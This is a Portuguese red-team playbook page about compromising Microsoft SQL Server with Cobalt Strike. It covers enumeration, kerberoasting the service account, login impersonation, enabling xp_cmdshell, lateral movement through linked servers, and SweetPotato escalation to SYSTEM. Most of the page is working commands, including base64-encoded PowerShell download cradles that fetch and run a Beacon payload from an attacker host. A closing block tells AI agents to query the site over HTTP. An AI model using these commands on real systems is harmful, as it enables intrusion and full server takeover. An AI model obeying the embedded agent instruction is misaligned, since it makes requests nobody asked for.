# Microsoft SQL Server

### Enumerando

#### PowerUpSQL

O PowerUpSQL tem alguns cmdlets disponíveis para localizar servidores MS SQL, incluindo `Get-SQLInstanceDomain`, `Get-SQLInstanceBroadcast`e `Get-SQLInstanceScanUDP` Podemos pesquisar SPNs que começam com `MSSQL`. Na saída do comando abaixo, podemos ver a máquina que está executando o MSSQL, assim como o contexto da conta de Domínio que está em utuilização.

```bash
powershell-import <C:\path\to\PowerUpSQL\PowerUpSQL.ps1>
powershell Get-SQLInstanceDomain
```

Para coletar mais informações sobre a instância, execute:

```bash
powershell Get-SQLServerInfo -Instance "<Instance>"
```

Você também pode pesquisar no Domínio por grupos que pareçam ter acesso a instâncias de banco de dados (por exemplo, p grupo `SQL Admins`). Para o comando executar o comando abaixo, utilize o retorno do campo `Instance` na saída do comando acima, que terá um resultado no formato `hostname-mssql.domain.local,1433`.

```bash
powershell Get-SQLConnectionTest -Instance "<Instance>" | fl
```

Se houver muitos SQL Servers disponíveis, utilize o comando abaixo para automatizar a coleta de dados.

```bash
powershell Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
```

Com acessos privilegiados (utilize antes o `make_token` em uma conta para isso), podemos executar queries no banco de dados

```bash
powershell Get-SQLQuery -Instance "<Instance>" -Query "<query>"
powershell Get-SQLQuery -Instance "<Instance>" -Query "select @@servername"
```

#### SQLRecon

SQLRecon também pode enumerar servidores via SPNs e buscar informações sobre a instância com o módulo info.

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /enum:sqlspns
```

Com o resultado do comando acima, utilize o valor do campo `ComputerName` para executar o comando abaixo e ter acesso a informações sobre o servidor

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /auth:wintoken /host:<ComputerName> /module:info
```

A opção `/auth:wintoken` permite que SQLRecon use o token de acesso do Beacon. Podemos ver assim, se o nosso usuário atual é ou não um administrador Caso não seja, o SQLRecon tem um módulo interessante que pode nos mostrar quais funções nós temos.

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:whoami
```

Encontrar um usuário (ou grupo) que tenha acesso pode ser um desafio, porque sem a capacidade de consultar a instância SQL para fazer isso, você pode ficar sem adivinhar. Uma opção é procurar nomes padrões (com forte indicativo) para grupos de Domínio e seus membros.

```bash
powershell-import <C:\path\to\PowerSploit\Recon\PowerView.ps1>
powershell Get-DomainGroup -Identity *SQL* | % { Get-DomainGroupMember -Identity $_.distinguishedname | select groupname, membername }
```

Outra opção é ir atrás da própria conta de serviço `MS SQL`, pois ela também recebe privilégios de administrador de sistema. Essa suposição é a base do caminho de ataque SQLAdmin do BloodHound. Sabemos que a conta de Domínio usada para executar o serviço é \<mssql\_svc\_user> e que a conta está vulnerável a kerberoastable devido ao seu SPN. Se conseguirmos quebrar sua senha em texto simples, poderemos usá-la para obter acesso à instância SQL. As credenciais podem ser usadas com `make_token` no Beacon.

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:windomain /d:<subdomain.domain.local> /u:<mssql_svc_user> /p:<pass> /h:<Instance> /m:whoami
```

Com acessos privilegiados (utilize antes o `make_token` em uma conta para isso), podemos executar queries no banco de dados

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:query /c:"<query>"
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:query /c:"select @@servername"
```

#### mssqlclient.py (Impacket) com Proxychains

```bash
proxychains mssqlclient.py -windows-auth <SUBDOMAIN>/<user>@<ip>
<query>
```

### Impersonate

Descobrindo acessos disponíveis para personificação.

```sql
SELECT * FROM sys.server_permissions WHERE permission_name = 'IMPERSONATE';
```

Na saída do comando, a coluna `grantee_principal_id` pode fazer Impersonate para o `grantor_principal_id`. Como os IDs não nos dizem muito, execute a query abaixo para ver quem são os usuários dos respectivos IDs

```sql
SELECT name, principal_id, type_desc, is_disabled FROM sys.server_principals;
```

Também podemos escrever uma query que unirá essas duas ou usar o módulo de Impersonate do SQLRecon.

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:impersonate
```

Outra maneira, é acessando o MSSQL de forma interativa. Execute o comando abaixo e, caso retorne `0`, significa que o usuário não é `sysadmin`

```bash
SELECT IS_SRVROLEMEMBER('sysadmin');
```

Agora vamos realizar o Impersonate e então, executar novamente o comando acima, a resposta agora deve ser `1`

```bash
EXECUTE AS login = '<SUBDOMAIN>\<mssql_svc_user>'; SELECT SYSTEM_USER;
EXECUTE AS login = '<SUBDOMAIN>\<mssql_svc_user>'; SELECT IS_SRVROLEMEMBER('sysadmin');
```

Os módulos SQLRecon também podem ser executados no `Impersonation Mode`, prefixando o nome do módulo com o parâmetro `i` e especificando o principal a ser representado

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:iwhoami /i:<SUBDOMAIN>\<mssql_svc_user>
```

###

### Command Injection (RCE)

O `xp_cmdshell` pode ser usado para executar comandos shell no servidor SQL se você tiver privilégios de administrador de sistema. O mesmo irá falhar se você tentar manualmente no mssqlclient, pois o xp\_cmdshell está desabilitado.

```bash
powershell Invoke-SQLOSCmd -Instance "<Instance>" -Command "whoami" -RawResults
```

Para verificar o estado atual do xp\_cmdshell, execute:

```bash
SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell';
```

Caso o retorno seja `0`, significa que o xp\_cmdshell está desabilitado, então devemos habilitá-lo com o seguinte comando:

```bash
sp_configure 'Show Advanced Options', 1; RECONFIGURE;
sp_configure 'xp_cmdshell', 1; RECONFIGURE;
```

Execute novamente o comando para verificar se o estado atual do xp\_cmdshell foi alterado.

Apesar disso funcionar, alterar configurações de banco de dados é um trabalho muito sensível e que pode nos trazer problemas. Por isso, é recomendado utilizar ferramentas como o `Invoke-SQLOSCmd`, porque ele tentará ativar automaticamente `xp_cmdshell` se ainda não estiver, executar o comando fornecido e desativá-lo novamente. Sendo assim, não precisamos desfazer manualmente nossas alterações.

Com o `xp_cmdshell` ativo, já podemos montar o nosso payload para termos o Beacon em mãos. O primeiro passo é ter o payload disponível no CS que, por questões de exemplo, estamos utilizando o `smb_x64.ps1`.

Vamos fazer o Port Forwarding para que a porta 8080 da máquina com o Beacon ativo, redirecione para o CS na porta 80. Vamos também criar uma regra no Firewall para não termos problemas de bloqueio&#x20;

```bash
rportfwd 8080 localhost 80
powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
```

O payload será encodado em base64.

```bash
$str = 'iex (new-object net.webclient).downloadstring("http://<host.domain.local>:8080/<mysther>")'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
```

Execute a query:

```bash
exec xp_cmdshell 'powershell -w hidden -enc <base64>'
```

No Beacon da máquina que tem acesso ao SQL Server, execute:

```bash
# O pipe deve existir na máquina alvo
link <host-sql.domain.local> <TSVCPIPE-aa5a6743-ff3f-2c44-8bd4-3dbda33899a9>
```

#### SQLRecon

SQLRecon também possui um módulo para verificar a configuração xp\_cmdshell, que também pode ser combinado com o módulo de Impersonate.

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:ienablexp /i:<SUBDOMAIN>\<mssql_svc_user>
```

E por fim, executando comandos no SO

```bash
execute-assembly C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe /a:wintoken /h:<Instance> /m:ixpcmd /i:<SUBDOMAIN>\<mssql_svc_user> /c:<command>
```

### Movimentação Lateral

Procurando por `links`, que em resumo é um conceito onde a instância do SQL Server permite acessar dados de uma fonte externa.

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:links
```

Ou caso prefira fazer manualmente, basta executar a query abaixo

```sql
SELECT srvname, srvproduct, rpcout FROM master..sysservers;
```

Para executar queries nos servidores que estão "linkados", execute o comando abaixo. Aproveite também para ver se o `xp_cmdshell` está ativo no host alvo.

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:lquery /l:<host-sql.domain.local> /c:"<query>"
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:lquery /l:<host-sql.domain.local> /c:"select name,value from sys.configurations WHERE name = ''xp_cmdshell''"
```

Ou se preferir, pode executar uma query para realizar tal operação. As aspas duplas no segundo parâmetro são obrigatórias, não utilize aspas duplas. Não utilize escapes de aspas simples com barra invertido, mas sim com outra aspas simples

```sql
SELECT * FROM OPENQUERY("<host-sql.domain.local>", '<query>');
SELECT * FROM OPENQUERY("<host-sql.domain.local>", 'SELECT ''teste''');
```

Para habilitar o `xp_cmdshell` de outro SQL Server,execute a query abaixo (os colchetes são obrigatórios):

```sql
EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [<host-sql.domain.local>]
EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [<host-sql.domain.local>]
```

É sempre bom também, vermos se o SQL Server que está com link, também possui outros links.

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:llinks /l:<host-sql.domain.local>
```

Fazer esse processo em todos os servidores MSSQL pode ser algo demorado (dependendo da complexibilidade da rede), então podemos automatizar esse processo através do seguinte comando:

```bash
powershell-import C:\path\to\PowerUpSQL\PowerUpSQL.ps1
powershell Get-SQLServerLinkCrawl -Instance "<Instance>"
```

Verificando os acessos que possuímos no MSSQL remoto via `Link`

```bash
execute-assembly <C:\path\to\SQLRecon\SQLRecon\SQLRecon\bin\Release\SQLRecon.exe> /a:wintoken /h:<Instance> /m:lwhoami /l:<host-sql.domain.local>
```

#### Reverse Shell

Ao fazer movimentação lateral de um SQL para outro, pare a forwarding na port 8080 do primeiro SQL Server, e configure o segundo SQL Server para utilizar a porta 8080

```bash
# Máquina com Beacon utilizada para pegar o primeiro SQL Server
rportfwd stop 8080

# SQL Server com Beacon
powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
rportfwd 8080 localhost 80
```

Agora vamos montar o Reverse Shell

```bash
$str = 'iex (new-object net.webclient).downloadstring("http://<sql-alvo.subdomain.domain.local>:8080/<mysther>")'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
```

Execute a query abaixo, porém se atente, pois quando for utilizar o `OPENQUERY`, a query no segundo parâmetro tem que ficar entre aspas simples, então utilize escapes de aspas simples com outra aspas simples ao invés da barra invertida.

```sql
SELECT * FROM OPENQUERY("<host-sql.domain.local>", 'select @@servername ; exec xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8APABoAG8AcwB0AD4AOgA4ADAAOAAwAC8AbQB5AHMAdABoAGUAcgAiACkA''');
```

No Beacon do SQL Server, execute

```bash
# O pipe deve existir na máquina alvo
link <host-sql.domain.local> <TSVCPIPE-9afa27ce-efe5-4c1b-8378-5bd7d8862999>
```

#### Escalação de Privilégios

O padrão durante instalações SQL mais modernas, possui instância do SQL executada como `NT Service\MSSQLSERVER`. Ele possui um tipo especial de privilégio chamado `SeImpersonatePrivilege`, que permite à conta realizar o impersonate de outros usuários. Resumindo, esse privilégio permite que o usuário personifique um token que ele consegue controlar. No entanto, como esta conta não é um administrador local, ela não pode simplesmente controlar um processo com privilégios mais altos (por exemplo, SYSTEM) já em execução na máquina. Uma estratégia que muitos autores criaram é forçar um serviço SYSTEM a se autenticar em um serviço não autorizado criado pelo invasor. Esse serviço não autorizado é então capaz de se passar pelo serviço SYSTEM enquanto tenta se autenticar. Para verificar os privilégios atuais, execute (procure por `SeImpersonatePrivilege`):

```bash
execute-assembly <C:\path\to\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe> TokenPrivileges
```

O `SweetPotato` possui uma coleção dessas diversas técnicas que podem ser executadas. No exemplo abaixo, estamos pegando acesso ao `SYSTEM`

```bash
execute-assembly <C:\path\to\SweetPotato\bin\Release\SweetPotato.exe> -p C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "-w hidden -enc aWV4IChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vPGhvc3QuZG9tYWluLmxvY2FsPjo8cG9ydD4vbXlzdGhlcj4nKQ=="
connect localhost 4444
```

###

### Sites

```bash
# PowerUpSQL
https://github.com/NetSPI/PowerUpSQL

# SweetPotato
https://github.com/CCob/SweetPotato
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/tools/cobalt-strike/microsoft-sql-server.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
